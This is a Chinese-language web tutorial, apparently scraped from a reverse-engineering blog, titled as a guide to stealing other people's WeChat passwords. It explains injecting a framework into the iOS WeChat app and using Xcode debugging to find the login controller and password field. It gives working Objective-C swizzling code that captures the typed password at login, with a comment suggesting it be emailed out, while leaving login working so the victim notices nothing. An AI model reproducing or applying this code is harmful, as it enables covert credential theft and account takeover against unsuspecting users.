怎么偷别人微信密码(怎样获取别人的微信密码)

怎么偷别人微信密码(怎样获取别人的微信密码)

需要准备一份资料,WeChat 官方的header文件,使用sublime打开。

怎么偷别人微信密码(怎样获取别人的微信密码)


需要完成这篇文章中介绍的内容,需要了解一下注入Framework的相关知识。

(可查看我的文章:iOS开发|Framework注入,让别人的软件执行我们的代码)

完成了Framework的注入后,我们被注入的代码会执行,达到这种状态:

怎么偷别人微信密码(怎样获取别人的微信密码)


Xcode 动态调试分析

动态分析是我们找到突破口非常重要的能力,这里确定了我们达到目的的途径。

一、找到方法

思路:为了获取用户的密码,我们需要在用户输入完成时取得密码,因为不知道用户在何时输入完成,是否修改,所以最好的拦截地方就是点击登录按钮时。

于是我们就要先找到登录按钮的方法。

这里主要是通过 ViewDebug 找到登录按钮的 target 和 action,发现 Controller 是 
WCAccountMainLoginViewController,action 是 onNext。

验证是否正确,我们 po 一下,发现调用并没有报错,说明找到了这个方法,是属于 
WCAccountMainLoginViewController 的一个实例方法 onNext。

怎么偷别人微信密码(怎样获取别人的微信密码)


二、找到密码控件

找到了Controller,我们分析整个 UI 界面。Password 控件和Log in 在同一个Controller,所以我们想要从方法 onNext 中拿到控件就需要找到承载的密码控件。

怎么偷别人微信密码(怎样获取别人的微信密码)


2.1、首先去 Controller 的属性中找,来到sublime,command+shift+f,输入@Interface 
WCAccountMainLoginViewController。

很容易就找到了它,这个控件肯定就是密码输入控件。

怎么偷别人微信密码(怎样获取别人的微信密码)


2.2、继续寻找 WCAccountTextFieldItem 类,看其中是否有 text 字段,如果有这肯定就是密码了。

怎么偷别人微信密码(怎样获取别人的微信密码)


2.3、发现没有,但是有父类,继续从父类中寻找。找到了!

怎么偷别人微信密码(怎样获取别人的微信密码)


通过代码分析也能验证,从动态调试中拿到这个类,po 一下就找到了text。

怎么偷别人微信密码(怎样获取别人的微信密码)


代码实现,拿到用户密码

一、拿到密码

上面通过方法找到了Controller,action,和 text 所属对象的类。接下来就是通过代码获取到用户的密码了。实现如下,思想仍然是交换方法,从自己的方法中拿到密码。

怎么偷别人微信密码(怎样获取别人的微信密码)


恭喜!通过OC方法,我们拿到了用户输入的密码。

但是这个有一个问题:我们必须要让用户继续登录,否则登录功能被破坏了。

二、让登录继续执行

有人想到,直接在my_onNext方法中直接调用原来的方法,因为方法已经交换了嘛。这样对不对呢?

肯定不行!因为我们现在所属的类是我们自己建的类,并不是像正常一样在category中实现的。所以,可想而知,此时 self 是 
WCAccountMainLoginViewController,使用 [self my_onNext] 调用方法会崩溃,因为 
WCAccountMainLoginViewController 中并没有my_onNext 这个方法。

为了解决调用崩溃问题,我们很容易想到的办法就是,添加一个my_onNext 方法,既然没有,那就添加一个让它有,不就解决了吗?

怎么偷别人微信密码(怎样获取别人的微信密码)


于是代码如下,完成!perfect。

+ (void)load {
NSLog(@"注入成功!!");
Class accountVC = objc_getClass("WCAccountMainLoginViewController");
Method oldMethod = class_getInstanceMethod(accountVC, @selector(onNext));
Method newMethod = class_getInstanceMethod(self, @selector(my_onNext));
method_exchangeImplementations(oldMethod, newMethod);

bool success = class_addMethod(accountVC, @selector(my_onNext), class_getMethodImplementation(self, @selector(my_onNext)), "v@:");
}
- (void)my_onNext {
// 获取到用户密码
id text = [[[self valueForKey:@"_textFieldUserPwdItem"] valueForKey:@"m_textField"] valueForKey:@"text"];
// 可以发送到邮箱了
NSLog(@"pwd:%@", text);
[self my_onNext];
}

后续还有更多逆向的知识,如果感情去可关注一波,欢迎评论转发。


本文由网络整理 © 版权归原作者所有

 分享
返回首页  留言反馈

本站只提供WEB页面服务,本站不存储、不制作任何视频,不承担任何由于内容的合法性及健康性所引起的争议和法律责任。

若本站收录内容侵犯了您的权益,请附说明联系底部邮箱,我们将第一时间处理。

v.hahacn.com 联系邮箱:beadszhou@qq.com

本站只提供WEB页面服务,本站不存储、不制作任何视频

不承担任何由于内容的合法性及健康性所引起的争议和法律责任

若本站收录内容侵犯了您的权益,说明具体情况。

联系邮箱:beadszhou@qq.com 我们将第一时间处理。